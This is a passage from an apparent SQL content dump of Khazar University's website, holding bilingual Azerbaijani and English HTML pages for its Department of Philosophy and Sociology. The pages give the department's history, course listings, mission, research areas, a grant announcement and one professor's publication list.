<br></p><p><strong>E-mail:</strong> <a href=\"mailto:elsever79[at]hotmail.com\">elsever79[at]hotmail.com</a></p><p><strong>Tel:</strong> (+99450)&nbsp;628 67 98  <br></p>   <p><br><strong></strong></p><p><br></p>'),(1109,693,'az','Tarixi','Tarixi','<div><br></div><div>Fəlsəfə və Sosiologiya kafedrası&nbsp;multidisiplinar akademik bölmə kimi&nbsp;humanitar və sosial elmlər sahəsində tədris və tədqiqat işlərini həyata keçirmək məqsədilə&nbsp;1992-ci ildə &nbsp;təşkil edilmişdir. Kafedrada müxtəlif vaxtlarda tanınmış&nbsp;professorlar Hamlet Isaxanlı,&nbsp;Camal Mustafayev,&nbsp;(Azərbaycan), Tadueş&nbsp;Svyataxovski,&nbsp;John Ryder (ABŞ)&nbsp; və&nbsp;digər tanınmış alimlər mühazirələr söyləmişlər.&nbsp;</div>'),(1110,693,'en',' History',' History','<div><br></div><div><p>The Department of Philosophy and Sociology&nbsp;was&nbsp;originally&nbsp;conceived and organized in 1992 as a multidisciplinary academic unit aimed at providing teaching and research in various fields of humanities and social sciences. Outstanding professors&nbsp;Hamlet Isaxanli,&nbsp;Camal Mustafayev,&nbsp;(Azerbaijan), Taduesh Svyatochovski,&nbsp;John Ryder (USA) and some other prominent scholars&nbsp;&nbsp;have delivered lectures at the Department.</p> <br></div>'),(1111,694,'en','Courses','Courses','<div><p><strong>Fall&nbsp;2017</strong></p><p><a href=\"http://www.khazar.org/files/letters/1F%C9%99ls%C9%99f%C9%99%20(AZ)%202013-2017%20Syllabus.doc\">Fəlsəfə</a></p>  <br></div><div><p style=\"font-size:medium\"><strong>PHIL 110: Introduction to Philosophy (3 credits)</strong></p><p style=\"font-size:medium\">Instructor: Dr. Mail Yagubov</p><p style=\"font-size:medium\">General introduction to the nature, problems, methods, concepts, and divisions of</p><p style=\"font-size:medium\">philosophy. This course focuses on a number of central problems in philosophy including: the structure of being; mind-body problem; foundations of morality and the existence of God and our knowledge of the external world. Philosophical inquiry into such things as the meaning of life; freedom and necessity, free will and predestination; the basis of morality; truth and its criteria.</p><p style=\"font-size:medium\">Readings include selections from pre-selected Western and Easterna</p><p style=\"font-size:medium\">philosophers.</p><p style=\"font-size:medium\">Syllabus:&nbsp;<a href=\"http://www.khazar.org/files/image/PHILOSOPHY.doc\">Introduction to Philosophy</a></p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>PHIL 314: Modern European Philosophy (3 credits)</strong></p><p style=\"font-size:medium\">Instructor: Dr. Mail Yagubov</p><p style=\"font-size:medium\">The history of philosophy in the West from the Renaissance through the Eighteenth</p><p style=\"font-size:medium\">Century. A survey of major philosophical problems in metaphysics and the theory of</p><p style=\"font-size:medium\">knowledge, ethics and social theory in 17<sup>th</sup>&nbsp;and 18<sup>th</sup>&nbsp; century European philosophy. Readings from Descartes, Spinoza, Locke, Leibniz, Berkeley, Hume and Kant.</p><p style=\"font-size:medium\">Syllabus:&nbsp;</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>PHIL 319: Ethics (3 credits)</strong></p><p style=\"font-size:medium\">Instructor: Dr. Mail Yagubov</p><p style=\"font-size:medium\">Study of the principal ethical theories, thinkers and basic ethical problems. An</p><p style=\"font-size:medium\">introductory survey of problems and positions in metaethics and ethical theory including: ethical relativism and objectivity; the facts and value distinction; emotivism and moral realism; teleological, deontological and virtue-based ethical theories; justice and rights and anti-moralism.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>PHIL 417: Philosophy of Religion (3 credits)</strong></p><p style=\"font-size:medium\">Instructor: Dr. Mail Yagubov</p><p style=\"font-size:medium\">Topics covered are evidence for and against the existence of God; philosophical</p><p style=\"font-size:medium\">problems associated with the attributes of God as described in the great monotheistic religions and philosophical problems associated with the relationship of God, the physical universe and human beings.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>SOC101: Introduction to Sociology (3 credits)</strong></p><p style=\"font-size:medium\">Instructor: Dr. Javid Shahmaliyev</p><p style=\"font-size:medium\">This course provides a broad overview of sociology and how it applies to everyday life. Major theoretical perspectives and concepts are presented, including sociological imagination, culture, deviance, inequality, social change, and social structure. Students also explore the influence of social class and social institutions, such as churches, education, healthcare, government, economy, and environment. The family as a social structure is also examined.</p><p style=\"font-size:medium\">Syllabus:&nbsp;<a href=\"http://www.khazar.org/files/image/INTRODUCTION_TO%20SOCIOLOGY.doc\">Introduction to Sociology</a></p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>PHIL417: Philosophical problems of culture (3 credits)</strong></p><p style=\"font-size:medium\">Intended subject as “Philosophical problems of culture” encloses itself etymological mining of culture, culture types, functions and directions, covered subjects and their relationships, The Ancient Indian, China, Egypt, Babylon, Sumerian, &nbsp;Greek and Roman cultures. Also, it is taught philosophical paradigms of all cultures. Moreover, it is studied the comparative Christian–Europe and Muslim-East cultures in this subject. It is given information about classical and new tendency of philosophy, examples as a positivism, classism, rationalism, modernism, postmodernism, multiculturalism, fundamentalism and other. At the time, it is given information about all period of Azerbaijan culture and thoughts.</p><p style=\"font-size:medium\">The aim of the course is formed students’ general worldview, develop their level of intellectual thinking and increase ability of making analyze and validation capability.&nbsp;</p><p style=\"font-size:medium\">Syllabus:&nbsp;<a href=\"http://www.khazar.org/files/image/Elsever%20Semedov%20Syllabus.doc\">Philosophical problems of culture</a></p><p style=\"font-size:medium\"><strong><br></strong></p><p style=\"font-size:medium\"><strong>PHIL 605: Philosophy&nbsp;<strong>(3 credits)</strong>  </strong></p><p style=\"font-size:medium\"><strong><strong>Instructor: Associate professor Eldar Shahgaldiyev</strong></strong></p><p style=\"\" margin-top:12.0pt;margin-right:0in;margin-bottom:3.0pt;margin-left:0in;page-break-after:avoid\"=\"\"><strong>Description</strong></p><p>From its beginning philosophy has always sought to combine\r\ncritical thinking with reflective living:&nbsp;\r\nPhilosophy is not only a way of thinking, but also a way of life that\r\nentails the critical examination of ideas and the world in which we live.&nbsp; Beginning with Socrates, this course traces\r\nthe history of philosophy as a critical engagement with finite, contingent\r\nexistence.</p>  <p style=\"font-size:medium\"><a href=\"http://www.khazar.org/files/philosophy_depart/PHIL-605%20Philosophy.doc\">Syllabus:&nbsp;Philosophy  <br></a></p>  <br></div>'),(2089,1281,'az',' Avrasiya Akademiyasının kitab-albomu çapdan cıxdı ','Avrasiya Akademiyasının nəfis tərtibatla hazırlanmış “Həqiqət və gözəllik eşqi” kitab-albomu iyul ayında çapdan çıxmışdır...','<p>Avrasiya Akademiyasının nəfis tərtibatla hazırlanmış “Həqiqət və \r\ngözəllik eşqi” kitab-albomu iyul ayında çapdan çıxmışdır. Kitab-albom 4 \r\nəsas başlıqlardan- Tarixdə Akademiyalar, Avrasiya Akademiyası. Həqiqət \r\nvə gözəllik eşqi, Avrasiya Akademiyasının mükafat və rəmzləri və \r\nAvrasiya Akademiyasının ictimaiyyətə təqdimat mərisimi  olmaqla 118 \r\nsəhifədən ibarətdir. Kitab-albomun tərtibatçısı Avrasiya Akademiyasının \r\nqurucu üzvü, Xəzər Universitəsinin təsisçisi və Direktorlar və Qəyyumlar\r\n Şurasının Sədri, pof. Hamlet İsaxanlı, korrektoru Martha Lawry, \r\ndizayneri Afaq Kərimovadır. Kitab-albomun komputor işi Zakir Yusifoğlu \r\ntərəfindən həyata keçirilmişdir. Kitab-albom Türkiyə və Azərbaycanda \r\nmüvafiq qurumlara göndərilmişdir. </p>'),(2090,1281,'en',' The Book-album of the Eurasian Academy was published ','“The reality and the love of beauty” book-album of Eurasian Academy was published in July...','<p>“The reality and the love of beauty” book-album of Eurasian Academy \r\nwas published in July. The book-album consists of 118 pages and includes\r\n 4 main headlines: Academies in history, Eurasian Academy. The reality \r\nand the love of beauty, The prizes and symbols of Eurasian Academy and \r\nEurasian Academy’s presentation ceremony to the society. The author of \r\nthe book-album is prof. Hamlet İsakhanli, founder of Khazar University \r\nand Chairman of Board of Directors and Trustees, editor Martha Lawry and\r\n designer Sevinj Shafiyeva.  </p><p>The book-album has been distributed to the related organizations in Turkey and Azerbaijan.  </p>'),(1112,694,'az',' Fənlər',' Fənlər','<p><strong>Payız 2017</strong></p><p><a href=\"http://www.khazar.org/files/letters/1F%C9%99ls%C9%99f%C9%99%20(AZ)%202013-2017%20Syllabus.doc\">Fəlsəfə</a></p><div><br></div><div><br></div><div><div><p><strong>PHIL 110: Fəlsəfəyə giriş (3 kredit)</strong></p><p>Müəllim: Dr. Mail Yaqubov</p><p>Bu dərsdə qədim Yunan dövründən başlayaraq, postmodernizmə qədər fəlsəfənin tarixi mərhələləri, xüsusilə qərb fəlsəfi fikrininin tarixi inkişaf mərhələləri izah edilir.</p><p>Tədris Proqramı:&nbsp;<a href=\"http://www.khazar.org/files/image/PHILOSOPHY.doc\">Introduction to Philosophy</a>  </p><p>&nbsp;</p><p><strong>PHIL 314: Modern Avropa fəlsəfəsi&nbsp; (3 kredit)</strong></p><p>Müəllim: Dr. Mail Yaqubov</p><p>Modern Avropa fəlsəfəsi dərsində Qərb fəlsəfəsinin əsas mövzuları tarixi ardıcıllıqla araşdırılır. Dekartın fəlsəfi fikirlərindən başlayaraq müasir fəlsəfi cərəyanlar, o cümlədən ekzistensialzm fəlsəfi cərəyanı və post modernist filosofların düşüncələri tədqiq edilir. &nbsp;</p><p>&nbsp;</p><p><strong>PHIL 319: Etika (3 kredit)</strong></p><p>Müəllim: Dr. Mail Yaqubov</p><p>Burada Qədim Yunan fəlsəfəsindən 20-ci əsrin sonlarına qədər mövcud olan &nbsp;qərb fəlsəfi cərəyanlarında etika-əxlaq fəlsəfəsinə aid olan mövzular araşdırılır. Bundan əlavə dini və sekulyar əxlaq münasibətləri də tədqiqata cəlb olunur.</p><p>&nbsp;</p><p><strong>PHIL 417: Din Fəlsəfəsi (3 kredit)</strong></p><p>Müəllim: Dr. Mail Yaqubov</p><p>Din fəlsəfəsi fənnində bütün dinlərə aid edilə bilən ortaq mövzular təhqiq olunur. Şübhəsiz burada dini ideyaların və prinsiplərin fəlsəfi köklərinə nəzər yetirilir, qərb fəlsəfi fikrində dinin fəlsəfi əsaslarına aid mövcud olan əsas istiqamətlər təqdim olunur.</p><p>&nbsp;</p><p><strong>SOC101: Sosiologiyaya giriş (3 kredit)</strong></p><p>Müəllim: Dr. Cavid Şahmalıyev</p><p>Sosioloqların böyük əksəriyyəti fərdlərlə cəmiyyət arasındakı əlaqəni dərindən tədqiq etməklə məşğul olmuşlar. Sosiologiyanın prioritet mövzularından biri olan fərd-cəmiyyət yaxud fərd-struktur mövzusuna mövcud fərqli baxışlar və prizmalar kurs boyu nəzərdən keçiriləcəkdir. Kurs boyunca sosiologiya elmindəki əsas nəzəriyyələr, sosioloji təxəyyül, mədəniyyət, sosial sinfin insan həyatına təsiri, sosial bərabərsizlik və sosial institutlar (media, dövlət, din, ailə, iqtisadiyyat, səhiyyə sistemi, ətraf mühit) tədris olunacaqdır.</p><p>Tədris Proqramı:&nbsp;<a href=\"http://www.khazar.org/files/image/INTRODUCTION_TO%20SOCIOLOGY.doc\">Introduction to Sociology</a>  <a href=\"http://www.khazar.org/files/INTRODUCTION_TO%20SOCIOLOGY.doc\"></a></p><p>&nbsp;</p><p><strong>PHIL417: Mədəniyyətin fəlsəfi problemləri (3 kredit)</strong></p><p>“Mədəniyyətin fəlsəfi problemləri” kimi nəzərdə tutulan kursda əsasən mədəniyyətin terminoloji və etimoloji mənası, mədəniyyətşünaslığın əhatə etdiyi elm sahələri və onların bir birləri ilə əlaqələri, Qədim Hind, Cin, Şumer, Misir, Babil, Yunan və Roma mədəniyyətləri və onların tarixi mədəniyyət nümunələri, dini fəlsəfi dünyagörüşləri və mədəniyyət olaraq fəlsəfi paradiqmaları yer alacaqdır. Ayrıca geniş olaraq Xristian-Avropa və İslam-Şərq mədəniyyəti müqayisəli şəkildə yer veriləcəkdir. Bu perspektivdə müasir tendensiyalar modernizm, postmodernizm və&nbsp; bu mədəniyyətlərin gətirmiş olduğu yeni anlayışlar və dəyərlər kursda yer alacaqdır. &nbsp;&nbsp;</p><p>Tədris Proqramı:&nbsp;<a href=\"http://www.khazar.org/files/image/Elsever%20Semedov%20Syllabus.doc\">Philosophical problems of culture</a>  <a href=\"http://www.khazar.org/files/Elsever%20Semedov%20Syllabus.doc\"></a></p><p><br></p><embed href=\"http://www.khazar.org/files/philosophy_depart/PHIL-605%20Philosophy.doc\" style=\"background:undefined\" type=\"application/x-shockwave-flash\"><strong>PHIL 605: Fəlsəfə&nbsp;<strong>(3 kredit)</strong></strong></p><p><strong>Mühazirəçi: dosent&nbsp;Eldar Şahgəldiyev</strong></p><p><strong>Kursun təsviri:</strong></p><p>Fəlsəfə qədim zamanlardan analitik&nbsp;düşüncəni obyektiv gerçəkliklə&nbsp;birləşdirməyə çalışmışdır: Fəlsəfə təkcə&nbsp;düşüncə tərzi deyil, eyni zamanda düşüncələrin yaşadığımız dünyanın&nbsp;təhlilini əhatə edən bir&nbsp;həyat tərzidir. &nbsp;Fəlsəfə&nbsp;kursu Sokratdan başlayaraq&nbsp;&nbsp;fəlsəfə tarixini və mövcudluq haqqında bilik sahələrini əhatə edir.<br></p>  <p><a href=\"http://www.khazar.org/files/philosophy_depart/PHIL-605%20Philosophy.doc\">Tədris proqramı: Fəlsəfə</a></p><div><br></div></div>  <br></div>'),(1113,695,'en','Mission','Mission','<div><br></div><div><p style=\"font-size:medium\">At present, the basic fields of academic and research activity of the Department of Philosophy and Human Studies are grouped into three divisions:</p><p style=\"font-size:medium\">&nbsp;•&nbsp;Philosophy (comprising a wide range of philosophical disciplines concerning history of philosophy, philosophy of religion, political philosophy, relations between philosophy and literature, philosophy and linguistics)</p><p style=\"font-size:medium\">•&nbsp;Sociology and Social Psychology</p><p style=\"font-size:medium\">&nbsp;•   Other fields of humanities and social sciences (e.g. study of Arts and Culture, Social and Cultural Anthropology)&nbsp;</p><p style=\"font-size:medium\"><br>Various courses offered by the Department are taught practically in all schools of the University as electives in general education requirements. The disciplines offered by the Department are included as the major, major related and minor courses required for Bachelor and Master degree programmes at the &nbsp;School of Humanities and Social Sciences, School of Education&nbsp;and School of Economics and Management. As a mandatory course, Philosophy&nbsp;is also taught for PhD researchers&nbsp;in the Division of Graduate Studies and Research.</p><p style=\"font-size:medium\">&nbsp;The faculty of the Department is composed of scholars with solid teaching experience and varied research interests. All teaching faculty members have strong academic background in their respective fields and have published widely. Distinguished visiting professors from foreign countries complement the full-time faculty.</p><p style=\"font-size:medium\">&nbsp;The Department supports several interdisciplinary graduate programs leading to master\'s and Ph.D. degrees.</p>  <br></div>'),(1114,695,'az','Missiya','Missiya','<div><br></div><div><p style=\"font-size:medium\">Departament müxtəlif humanitar və sosial elm sahələrinin tədrisi və tədqiqini nəzərdə tutan çoxfənnli (multidissiplinar) akademik vahid kimi 1992-ci ildə yaradılmışdır. Hal-hazırda Departamentin əsas akademik sahələri və tədqiqat fəaliyyətləri üç istiqamətdə qruplaşdırılır:</p><p style=\"font-size:medium\">&nbsp;• Fəlsəfə (buraya aşağıdakı fənnlər daxildir: fəlsəfə tarixi, din fəlsəfəsi, siyasət fəlsəfəsi, fəlsəfə və ədəbiyyat münasibətləri, fəlsəfə və linqvistika)</p><p style=\"font-size:medium\">&nbsp;• Sosiologiya və sosial psixologiya</p><p style=\"font-size:medium\">&nbsp;• Digər sosial və humanitar elm sahələri (sənətlərin və mədəniyyətin öyrənilməsi, sosial və kultural antropologiya)</p><p style=\"font-size:medium\">&nbsp;Departament tərəfindən universitetin bütün fakültərində ümumtəhsil tələblərə müvafiq olaraq fakültativ proqramlar formasında müxtəlif kurslar təklif və tədris edilir. Departamentin Humanitar və Sosial Elmlər, İqtisadiyyat və menecment, Təhsil və Mühəndislik fakültələrinə təklif etdiyi fənlərə Bakalavr və Magistr proqramları üçün tələb olunan ixtisas, ixtisasa yaxın və ixtisasla az əlaqəli kurslar daxildir. Fəlsəfə kursu həmçinin icbari fənn kimi&nbsp;Magistratura, Doktorantura və Elmi İşlər bölməsində fəlsəfə doktorluğu üzrə tədqiqatçılara da tədris olunur.</p><p style=\"font-size:medium\">&nbsp;Departamentin fakültələrində ailmlərin əsaslı təcrübi təlimləri və müxtəlif tədqiqat maraqları təşkil edilir. Bütün fakültə üzvləri öz sahələrinə uyğun güclü akademik savada malikdirlər və geniş nəşr edilirlər. Xarici ölkələrdən dəvət edilmiş tanınmış professorlar universitetin fakültələrində müqavilə əsasında işləyirlər.</p><p style=\"font-size:medium\">Departamentin Bakalavr, Magistr və Fəlsəfə doktoru&nbsp;dərəcələri üzrə fənlərarası ixtisas proqramları mövcuddur.</p>  <br></div>'),(2091,1283,'en','Khazar University is ERASMUS + Grant Holder again','Khazar Universithttp://www.khazar.org/mfe/?r=articles/update&id=1283#Azerbaijaniy is a grant holder of the ERASMUS Plus Key Action 2 - Capacity Building in Higher Education...','<p>Khazar University is a grant holder of the ERASMUS Plus Key Action 2 -\r\n Capacity Building in Higher Education. The project on Promoting \r\nExcellence in Teaching and Learning in Azerbaijani Universities (PETRA) \r\ninvolves 14 partners from Azerbaijan and Europe with the aim to promote \r\nteaching and learning excellence in Azerbaijan. Specific objectives are \r\n(1) Building Capacity for Developing Teaching and Learning Process to \r\nmeet pedagogical and technological needs and (2) Improving and Providing\r\n Quality Teaching and Learning through innovative technology, promoting \r\nresearch, improving active learning,  and establishing long-term \r\npartnerships with European universities.  </p>\r\n<p>The three-year \r\nproject is designed and developed with close participation of 9 partners\r\n from Azerbaijan and 5 partners from Europe and it has been granted \r\n908.623,00 Euros.  </p><p>The project’s direct beneficiaries are PhD students, researchers and other members of academic staff.  </p>\r\n<p>Among Azerbaijani partners are </p>\r\n<p>1. Khazar University – coordinator </p><p>2. Nakchivan State University  </p><p>3. Ganja State University  </p><p>4. Sumgayit State University  </p><p>5. Baku Slavic University  </p><p>6. Qafqaz University  </p><p>7. Azerbaijan State Pedagogical University   </p><p>8. Azerbaijan University  </p><p>9. Ministry of Education of Azerbaijan Republic  </p>\r\n<p>European Partners:  </p>\r\n<p>1. University of Jyvaskala, Finland   </p><p>2. Central European University, Hungary  </p><p>3. University of Valencia, Spain  </p><p>4. University of Applied Sciences bfi Vienna, Austria  </p><p>5. Gazi University, Turkey  </p>\r\n<p>For more info you can visit following link:   </p><p> <a href=\"https://eacea.ec.europa.eu/sites/eacea-site/files/cbhe_2016_results_by_region.pdf\"> \r\nhttps://eacea.ec.europa.eu/sites/eacea-site/files/cbhe_2016_results_by_region.pdf</a>  <br></p>'),(1115,696,'az','Elmi-tədqiqat','Elmi-tədqiqat','<div><br></div><div>Tədqiqat sahələri antik fəlsəfə, metafizika, ontologiya, etika, din fəlsəfəsi, mədəniyyət fəlsəfəsi, dil fəlsəfəsi və 20-ci əsrin Yaxın Şərq,&nbsp; Hinduizm və Çin fəlsəfəsini əhatə edir.&nbsp;<br></div>'),(1116,696,'en','Research','Research','<div><br></div><div><div><div style=\"font-size:medium\"><p>Research areas cover such fields as ancient philosophy,&nbsp;metaphysics, ontology, ethics, philosophy of religion, philosophy of culture, philosophy of language, and philosophy of the 20th century as a historical period and such Near Eastern philosophical systems as Hinduism and Chinese philosophy.</p><div><br></div></div></div>  <br></div>'),(1117,697,'en','Publications','Publications','<div style=\"font-size:medium\"><strong>Eldar Shahgaldiyev- PhD,&nbsp;Associate professor</strong></div><div style=\"font-size:medium\"><strong><br></strong></div><div style=\"text-align:left\"><p style=\"font-weight:bold;font-size:medium\"><strong>Projects</strong>:</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:150%\"=\"\"><strong>1.&nbsp;&nbsp;&nbsp;</strong>&nbsp;&nbsp;&nbsp;\r\nBMT və BMT QAK -Zəlzələ\r\nqurbanlarına Fövqəladə Yardım Proqramı&nbsp;(OXFAM-1997)-Proqram coordinator;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:150%\"=\"\">2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nANAMA üçün Minalardan təmizləmə proqram (Mine aeareness and mine clearance)&nbsp;Layihəsinin müəllifi:\r\nAzərbaycan və BMT-nin Proqram Ofisi (UNOPS) QHT sektoru (2000, davam\r\nedir)&nbsp;-&nbsp;Project author;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:150%\"=\"\">3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMiqrasiyanın idarə olunması və treyninq proqramları sahəsində\r\nbacarıqların inkişaf etdirilməsi, (BMqT-IOM\r\nAzərbaycan-1999-2003)-Project author;  </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:150%\"=\"\">4.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nİngilis dilinin daşıyıcıları üçün&nbsp; Azərbaycan dilinin xüsusi tədris proqramı (ALENS) , multi medianın &nbsp;tam dəstəyi ilə-Project author;  </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;text-indent:-.25in;line-height:150%\"=\"\">5.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nUNIMIG – Miqrasiya və Ali Təhsil –\r\nBilik və Bacarıqların Aşılanması“TEMPUS-1-2011-1-GE-TEMPUS-JPCR\r\n–Project author- 2011-2014.</p>\r\n<p>6.&nbsp; &nbsp; &nbsp;&nbsp;Project&nbsp; (Erasmus Plus): Hamlet Isaxanli, Eldar\r\nShahgaldiyev: “State Of The Art on Doctoral Studies in Azerbaijan”&nbsp; - NIZAMI RESTRUCTURING AND DEVELOPMENT OF\r\nDOCTORAL STUDIES IN AZERBAIJAN IN LINE WITH REQUIREMENTS OF HIGHER EDUCATION\r\nAREA,&nbsp;\r\n561784-EPP-1-2015-1-FR-EPPKA2-CBHE-SP, JANUARY 2016</p>\r\n<p style=\"text-align: left;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:150%\"=\"\"><strong>&nbsp;Books, Monographs, Articles,&nbsp;Dərslik, Translations, and Editorial Works&nbsp;</strong></p><p style=\"text-align: left;\" margin-top:0in;margin-right:0in;margin-bottom:.0001pt;margin-left:.5in;line-height:150%\"=\"\"><strong>Chronological set</strong></p><span lang=\"AZ-LATIN\" style=\"text-indent:-0.25in;font-size:medium;line-height:29.3333px\">1.&nbsp; &nbsp;&nbsp;Questionnaire and brochure: “Şəxsiyyət nədir?” əmək qruplarının mənəvi psixolojimühitinə dair sosioloji sorğunun aparılması üçün Anket , Bakı, 1990 .</span><span style=\"font-size:medium;text-indent:-0.25in\">&nbsp;(Azərbaycanca), 8 səhifə</span></div><div style=\"text-align:left\"><p>2.&nbsp;&nbsp;&nbsp; Article: Orta məktəblərdə İngilis dilinin tədrisi- Nitq və oxunun tədrisində qabaqcıl təcrübə, Bakı, Azərbaycan, 1990;</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">3.&nbsp; &nbsp;&nbsp;Monography: “Mənəvi psixoloji mühit” anlayışının məzmun təhlili, “Əmək kollektivinin mənəvi psixoloji mühiti”, Bakı, Gənclik,&nbsp;&nbsp;1991&nbsp;&nbsp;(&nbsp;&nbsp;Rus&nbsp;&nbsp;dilində), 182 səhifə;</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">4.&nbsp; &nbsp;Article: “Mənəvi psixoloji mühit” anlayışının məzmun təhlilinə dair”&nbsp;Azərbaycan EA-nın&nbsp;jurnalı“Tarix, Fəlsəfə, Hüquq” 1991,№ 12.</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">5.&nbsp; &nbsp;Textbook&nbsp;:Universitet tələbələri üçün kitab -dərslik: “Oxu mövzuları və müzakirələr” (Reading Topics and Discussions), Bakı, Xəzər Universitieti nəşriyyatı, 2007 (İngilis dilində), 184 səhifə;</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">6.&nbsp; &nbsp;Editor: Kitabların tərcüməsi və redaktoru: “Axşam əhvalatları”, (Evening Stories) Bakı, Şəms, 2007 (İngilis dilində);</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">7.&nbsp;&nbsp; Article and thesis: Xülasə və Hesabat: “ Müəllim kadrlarının keyfiyyətinin artırılmasında qiymətləndirmənin rolunun nəzəri və praktik əsaslandırılması”.Təhsilin Dəyərləndirilməsi üzrə Beynəlxalq Assosiasiyanın 33-cü Beynəlxalq İllik Konfransı, 16-21 Sentyabr, 2007, Bakı, 2007, s. 129&nbsp;(İngilis&nbsp;dilində)&nbsp;<a href=\"http://iaea2007.tqdk.gov.az/ca/Theoretical%20and%20Practical%20Substantiations.pdf\">http://iaea2007.tqdk.gov.az/ca/Theoretical%20and%20Practical%20Substantiations.pdf</a><a href=\"http://dspace.khazar.org/jspui/bitstream/123456789/1296/1/DR%20%20Eldar%20Shahgaldiyev%20The%20Role%20of%20Assessment%20in%20Improving%20Teacher%20Quality.pdf\">http://dspace.khazar.org/jspui/bitstream/123456789/1296/1/DR%20%20Eldar%20Shahgaldiyev%20The%20Role%20of%20Assessment%20in%20Improving%20Teacher%20Quality.pdf</a>;</p><p>İnternational Association for Educational Assessmet 33rd Annual Conference, 16-21&nbsp;September,&nbsp;2007, Baku-Conference Programme and Abstracts (SSAC of the Republic of Azerbaijan)</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">8.&nbsp;&nbsp;&nbsp; Brochure: Bioetika tələbələri üçün tapşırıqlar (Tibb Universiteti tələbələri üçün broşüra,) Bakı, Azərbaycan Tibb Universiteti Nəşriyyatı, 2007, 90 səhifə</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">9.&nbsp; &nbsp;Translation:&nbsp;&nbsp;“On the traces of Fazlullah Naimi” (Fəzullah Nəminin izi ilə) (professor Camal Mustafayev) (Azərbaycan dilindən İngilis dilinə tərcümə), Xəzər Xəbər, May-İyun, 2008. # 250-252,&nbsp;<a href=\"http://iaea2007.tqdk.gov.az/ca/Theoretical%20and%20Practical%20Substantiations.pdf\">http://iaea2007.tqdk.gov.az/ca/Theoretical%20and%20Practical%20Substantiations.pdf</a></p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">10.&nbsp; &nbsp;Editor: Tibb Universiteti tələbələri üçün dərsliyin redaktoru “İnsan anatomiyası” (İngilis dilində) (professor E. Ələkbərov) Bakı, Xəzər Universiteti, 2007, 388 səhifə;</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">11.&nbsp; &nbsp;Article: Türk dünyasının qlobal inkişafının yeni meylləri ( The New Trends of Global Development in Turkish World) (İngilis dilində): Xəzər Xəbər, 15 sentyabr, 2009, No. 273, səh.17-19.</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">12.&nbsp;&nbsp;  Translation  : Biblioqrafiyanın tərcüməsi: Hamlet İsaxanlının (Alim, Universitetin qurucusu, şair) Biblioqrafiyası,&nbsp; Xəzər Universitei Nəşriyyatı, Bakı, 2010, 247 s.</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">13.&nbsp; &nbsp;Article: “Qloballaşma: Şəxsiyyətlərarası əlaqələrin mütəşəkkil icma qruplarında bəzi implikasiyaları”, (Mədəniyyətlərarası dialoq üzrə Dünya Forumu, “Müasir Dünyada Mədəni Müxtəliflik və Dialoq Fəlsəfəsi”. Beynəlxalq konfrans, Bakı, Azərbaycan, 7-9 Aprel, 2011.səh. 124-127;</p><p text-indent:-.25in;line-height:200%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">14.&nbsp; &nbsp;Article:“Herbert Midin (Herbert Mead) introspektiv “Mən”i obyekt və subyektin qarşılıqlı əlaqə prosesi kimi və&nbsp; onun mütəşəkkil icma qruplarının mənəvi - psixoloji mühitinin dəyərləndirilməsində rolu”, Polşa Xalq Respublikası, Fəlsəfə İnstitutu, Beynəlxalq Konfrans, Polşa,Opole Universiteti, 20-24 iyun, 2011,&nbsp;<a href=\"http://aaev.uni.opole.pl/index.php/conferences/2011/texts\">http://aaev.uni.opole.pl/index.php/conferences/2011/texts</a></p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">15.&nbsp; &nbsp;Article: Çoxmədəniyyətli əmək kollektivi ilə şəxsiyyətin inkişafının qarşılıqlı əlaqəsi və nisbəti. Azərbaycan Beynəlxalq Humanitar Forum, Oktyabr-5-7, 2012, Bakı şəhəri&nbsp; (İngilis dilində);&nbsp;&nbsp;</p><p text-indent:-.25in;line-height:150%\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">16. 